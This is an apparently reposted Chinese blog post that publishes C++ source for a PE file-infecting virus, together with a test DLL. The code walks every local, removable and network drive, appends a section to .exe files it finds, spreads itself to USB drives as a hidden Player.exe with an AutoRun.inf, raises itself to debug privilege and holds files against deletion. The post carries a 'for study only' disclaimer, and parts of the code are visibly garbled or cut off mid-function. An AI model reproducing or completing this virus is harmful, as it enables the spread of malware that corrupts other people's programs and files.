PE型感染病毒 —— VC源码

狼哥的原话:“真正的文件型PE病毒,是不能发布调试版本的,只能靠自己的判断使用发布版本,就算要调试也只能使用其它的调试器,比喻说OllyDbg来调试发布版本......”

 

这类程序调试起来足矣让人精神紊乱,下面是全部的代码,有兴趣的看看吧.....

 

 

这是测试Test.dll源码:

[cpp] view plain copy print ?
  1. /  
  2. // Test.dll  
  3. // by Koma   2009-12-18 0:40  
  4. // http://blog.csdn.net/wangningyu  
  5. #include   
  6. BOOL APIENTRY DllMain( HANDLE hModule,   
  7.                        DWORD  ul_reason_for_call,   
  8.                        LPVOID lpReserved  
  9.                      )  
  10. {  
  11.     HANDLE  hThread;  
  12.     DWORD   dwThread;  
  13.     switch(lpReserved)  
  14.     {  
  15.     case DLL_PROCESS_ATTACH:  
  16.         MessageBox(NULL,"some process is attching !","Test",MB_OK);  
  17.         hThread = CreateThread(NULL,0,SomeFunction,NULL,0,dwThread);  
  18.         WaitForSingleObject(hThread,INFINITE);  
  19.         CloseHandle(hThread);  
  20.         break;  
  21.     case DLL_THREAD_ATTACH:  
  22.         MessageBox(NULL,"some thread is attching !","Test",MB_OK);  
  23.         break;  
  24.     case DLL_THREAD_DETACH:  
  25.         MessageBox(NULL,"some thread is detaching !","Test",MB_OK);  
  26.         break;  
  27.     case DLL_PROCESS_DETACH:    //   
  28.         MessageBox(NULL,"some process is exited !","Test",MB_OK);  
  29.         break;  
  30.     }  
  31.     return TRUE;  

这是主程序源码

/
// 感染PE文件病毒源码
// by Koma   2009-12-18 0:30
// http://blog.csdn.net/wangningyu
// 程序仅供学习交流,请不要尝试用作非法用途!
// 感谢寂寞的狼、llydd、大飞的指导与技术支持!
/
// 引入头文件
//
#include 
#include 
/
// DiskInfo class
// 采用多线程感染每一个磁盘驱动器
//
class  DiskInfo
{
public:CString m_strName;					// 磁盘名称,例如C:CString m_strFilePath;				// 感染文件的绝对路径BOOL	CurFileIsInject;			// 判断该文件是否被感染过DiskInfo();							// 构造函数,用来初始化成员变量
};
/
// DiskInfo 构造函数
// 初始化成员变量
//
DiskInfo::DiskInfo()
{m_strFilePath = _T("");m_strName	  = _T("");
}
/************************************************************************/
// 全局函数声明
/************************************************************************/
void EmuAllDisk();								// 多线程感染全盘文件
BOOL GetOSVersion();							// 获取操作系统版本是不是NT内核
BOOL InfectPE(CString strFilePath);				// 感染指定路径exe文件
BOOL IsInfect(CString strFile);					// 判断是否被感染过
BOOL CheckPE(FILE* pFile);						// 检查文件格式
int	 Align(int size,unsigned int align);		// 用来计算对齐数据后的大小
int  EmuDiskFiles(LPCTSTR lpStr);				// 遍历指定盘符exe文件
void RaiseToDebug();							// 进程提权
/************************************************************************/
// 全局变量声明
/************************************************************************/
DiskInfo	di;								    // 传递多线程参数:设置盘符名
DiskInfo	diInject;						    // 传递多线程参数:设置文件路径
/************************************************************************/
/* 函数说明:复制到U盘
/* 参    数:无
/* 返 回 值:成功返回0,失败返回非0
/* By:Koma   2009.12.16 20:35
/************************************************************************/
DWORD ThreadInfectU()
{while(true){// 磁盘类型UINT revtype;			char name[256]="H://" ;	char szName[256]={0};char toPath[256]={0};char infPath[256]={0};char openU[80]={0};// 遍历所有盘符		for(BYTE i=0x42;i<0x5B;i=i+0x01){name[0]=i;revtype=GetDriveType(name);// 判断是否是可移动存储设备if (revtype==DRIVE_REMOVABLE){	// 得到自身文件路径、比较是否和U盘的盘符相同GetModuleFileName(NULL,szName,256);	if(strncmp(name,szName,1)==0){return -1;	}else{strcpy(toPath,name);strcat(toPath,"//Player.exe");strcpy(infPath,name);strcat(infPath,"//AutoRun.inf");// 还原U盘上的文件属性SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);// 删除原有文件DeleteFile(toPath);DeleteFile(infPath);// 拷贝自身文件到U盘、把这两个文件设置成系统,隐藏属性CopyFile(szName,toPath,FALSE);SetFileAttributes(toPath,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);SetFileAttributes(infPath,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);}}}// 休眠5秒检测一次Sleep(5000);}
}
/************************************************************************/
/* 函数说明:线程 —— 感染指定exe文件
/* 参    数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma   2009.12.17 14:05
/************************************************************************/
DWORD ThreadInject(LPVOID lpParameter)
{DiskInfo *diParam = (DiskInfo *)lpParameter;BOOL	 bRet = InfectPE(diParam->m_strFilePath);if(bRet)return 0;return -1;
}
/************************************************************************/
/* 函数说明:线程 —— 遍历驱动器exe文件
/* 参    数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma   2009.12.17 14:05
/************************************************************************/
DWORD ThreadDisk(LPVOID lpParameter)
{DiskInfo *diParam = (DiskInfo *)lpParameter;BOOL	 bRet = EmuDiskFiles(diParam->m_strName);if(bRet)return 0;return -1;
}
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{RaiseToDebug();								// 提升权限EmuAllDisk();								// 依次启动遍历磁盘线程、遍历文件MessageBox(NULL,"程序启动成功!","测试",MB_OK);return 0;
}
/************************************************************************/       
/* 函数说明:获取应用程序当前目录                                          
/* 参    数:无                                      
/* 返 回 值:返回目录路径、CString类型字符串       
/* By:Koma   2009.12.17 14:25                                   
/************************************************************************/       
CString GetExePath()     
{     char pathbuf[260];        int  pathlen = ::GetModuleFileName(NULL,pathbuf,260);        // 替换掉单杠     while(TRUE)        {        if(pathbuf[pathlen--]=='//')        break;        }        pathbuf[++pathlen]= 0x0;        CString  fname = pathbuf;        return   fname;        
} 
/************************************************************************/
/* 函数说明:提升进程权限到debug权限
/* 参    数:无
/* 返 回 值:无
/* By:Koma   2009.12.17 21:20
/************************************************************************/
void RaiseToDebug()
{HANDLE hToken;HANDLE hProcess = GetCurrentProcess();		// 获取当前进程句柄 // 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESSif (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)){TOKEN_PRIVILEGES tkp;if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)){tkp.PrivilegeCount = 1;tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//通知系统修改进程权限BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);}CloseHandle(hToken);}    
}
/************************************************************************/
/* 函数说明:保护文件防止被轻易删除
/* 参    数:无
/* 返 回 值:无
/* By:Koma   2009.12.17 21:42
/************************************************************************/
BOOL OccupyFile(LPCTSTR lpFileName) 
{ RaiseToDebug();								// 提升权限 // 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限 HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);if (hProcess == NULL) { hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8); if (hProcess == NULL) return FALSE; } HANDLE hFile = NULL; HANDLE hTargetHandle = NULL; // 创建一个文件,当然这个文件可以是本来就存在的 hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);    if (hFile == INVALID_HANDLE_VALUE) { // 文件创建或打开失败 CloseHandle( hProcess ); return FALSE; }return TRUE;
}
/************************************************************************/
/* 函数说明:多线程感染全盘文件
/* 参    数:无
/* 返 回 值:无
/* By:Koma   2009.12.17 22:30
/************************************************************************/
void EmuAllDisk()
{CString strTemp;							// 临时字符串UINT	revtype;							// 磁盘类型char	name[5]= "C:";						// 磁盘名称int		nCount = 0;							// 磁盘数量HANDLE	hThread[10];						// 最大启动十个磁盘感染线程DWORD	dwTid[10];							// 线程PIDfor(BYTE i=0x42;i<0x5B;i=i+0x01)			// 遍历所有盘符{name[0]=i;revtype=GetDriveType(name);switch(revtype){						// 判断磁盘驱动器的属性case DRIVE_FIXED:						// 是否为本地磁盘case DRIVE_REMOVABLE:					// 是否为可移动磁盘case DRIVE_REMOTE:						// 是否为网络磁盘if(nCount>10){						// 最大启动十个线程nCount = 0;						// 恢复计数器Sleep(30000);					// 休眠30秒break;}strTemp.Format("%c",name[0]);strTemp = strTemp + ":";			// 磁盘字符串形式,如C:di.m_strName = strTemp;				// 设置感染文件的绝对路径hThread[nCount] = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadDisk,(LPVOID)(&di),NULL,&dwTid[nCount]);nCount++;break;			}}
}
/************************************************************************/
/* 函数说明:判断操作系统版本
/* 参    数:无
/* 返 回 值:NT以上版本的系统返回TRUE,失败返回FALSE
/* By:Koma   2009.12.18 22:20
/************************************************************************/
BOOL GetOSVersion()
{DWORD	dwVersion = 0;// 如果是Windows 98/Me/95以上的操作系统则返回TRUEdwVersion = GetVersion();if (dwVersion < 0x80000000){return TRUE;}return FALSE;
}
/************************************************************************/
/* 函数说明:感染exe文件
/* 参    数:strFile	文件路径
/* 返 回 值:成功返回TRUE,失败返回FALSE
/* By:Koma   2009.12.18 21:32
/************************************************************************/
BOOL InfectPE(CString strFilePath)
{FILE*					rwFile;						// 被感染的文件IMAGE_SECTION_HEADER	NewSection;					// 定义要添加的区块IMAGE_NT_HEADERS		NThea;						// DWORD					pNT;						// pNT中存放IMAGE_NT_HEADERS结构的地址int						nOldSectionNo;int						OEP;if((rwFile=fopen(strFilePath,"rb"))==NULL){			// 打开文件失败则返回return FALSE;}if(!CheckPE(rwFile)){								// 如果不是PE文件则返回return FALSE;}fseek(rwFile,0x3c,0);fread(&pNT,sizeof(DWORD),1,rwFile);fseek(rwFile,pNT,0);fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile);	// 读取原文件的IMAGE_NT_HEADERS结构nOldSectionNo=NThea.FileHeader.NumberOfSections;	// 保存原文件区块数量OEP=NThea.OptionalHeader.AddressOfEntryPoint;		// 保存原文件区块OEPIMAGE_SECTION_HEADER	SEChea;						// 定义一个区块存放原文件最后一个区块的信息int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;int FILE_ALIG=NThea.OptionalHeader.FileAlignment;	// 保存文件对齐值与区块对齐值memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));fseek(rwFile,pNT+248,0);							// 读原文件最后一个区块的信息for(int i=0;ie_magic ==IMAGE_DOS_SIGNATURE)){CloseHandle(hFile);CloseHandle(hMapping);return FALSE;}// NT头指针地址imNT_Headers=(IMAGE_NT_HEADERS *)((char *)pBasePointer+imDos_Headers->e_lfanew);// 读取节表名CString strTemp = "";CString strSectionName;for(i=0,imSECTION_Headers =(IMAGE_SECTION_HEADER *)((char *)imNT_Headers+sizeof(IMAGE_NT_HEADERS));iFileHeader .NumberOfSections;i++,imSECTION_Headers++){strTemp.Format("第%d节:%s/n",i+1,imSECTION_Headers->Name);strSectionName = strSectionName + strTemp;dwSestion = i;}// 查找节点是否存在// MessageBox(strSectionName);if(strSectionName.Find(".data")>0){bRet = TRUE;}// 关闭句柄、释放文件CloseHandle(hMapping);CloseHandle(hFile);return bRet;
}
/************************************************************************/
/* 函数说明:用来计算对齐数据后的大小
/* 参    数:size		计算大小
/*			 align		对齐后的长度
/* 返 回 值:对齐数据后的大小
/* By:Koma   2009.12.18 23:25
/************************************************************************/
BOOL CheckPE(FILE* pFile)
{    fseek(pFile,0,SEEK_SET);BOOL  bFlags=FALSE;WORD  IsMZ;DWORD  IsPE,pNT;fread(&IsMZ,sizeof(WORD),1,pFile);if(IsMZ==0x5A4D){fseek(pFile,0x3c,SEEK_SET);fread(&pNT,sizeof(DWORD),1,pFile);fseek(pFile,pNT,SEEK_SET);fread(&IsPE,sizeof(DWORD),1,pFile);if(IsPE==0X00004550)bFlags=TRUE;elsebFlags=FALSE;}elsebFlags=FALSE;fseek(pFile,0,SEEK_SET);return bFlags;
}
/************************************************************************/
/* 函数说明:用来计算对齐数据后的大小
/* 参    数:size		计算大小
/*			 align		对齐后的长度
/* 返 回 值:对齐数据后的大小
/* By:Koma   2009.12.18 23:42
/************************************************************************/
int Align(int size,unsigned int align)
{if(size%align!=0)return (size/align+1)*align;else return size;
}
/************************************************************************/
/* 函数说明:遍历感染指定驱动器中所有exe文件
/* 参    数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma   2009.12.18 23:55
/************************************************************************/
int EmuDiskFiles(LPCTSTR lpStr)
{CFileFind	fd;CString		strWild(lpStr);CString		str = fd.GetFilePath();	        // 获取每个文件的绝对路径int			nTemp = 0;				        // 最大启动5个线程同时感染BOOL		bRet;HANDLE		hThread;DWORD		dwTid;strWild += _T("//*.*");						// 查找类型bRet = fd.FindFile(strWild);				// 开始查找while (bRet){								// 如果不为空,继续遍历
ReEmu:		bRet = fd.FindNextFile();			// 查找下一个文件if(fd.IsDots())							// 过滤目录自身与上层目录continue;else if(fd.IsDirectory()){				// 判断是否为文件夹CString str = fd.GetFilePath();		// 获取文件夹路径EmuDiskFiles(str);					// 继续遍历子目录}else{int nTemp1 = str.Find("WINDOWS");	// 如果是XP系统目录则跳过int nTemp2 = str.Find("WINNT");	// 如果是WIN2000系统目录也跳过if(nTemp1>0 || nTemp2>0)goto ReEmu;if(str.Find(".exe")>0){			// 判断是否为exe扩展名if(!IsInfect(str))				// 判断是否感染过{di.m_strFilePath = str;	    // 设置感染文件的绝对路径hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid); WaitForSingleObject(hThread,INFINITE);//InfectPE(str);}continue;}}Sleep(10000);                           // 10秒种遍历一个文件}return 0;
}
/
// 感染PE文件病毒源码
// by Koma   2009-12-18 0:30
// http://blog.csdn.net/wangningyu
// 程序仅供学习交流,请不要尝试用作非法用途!
/



本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部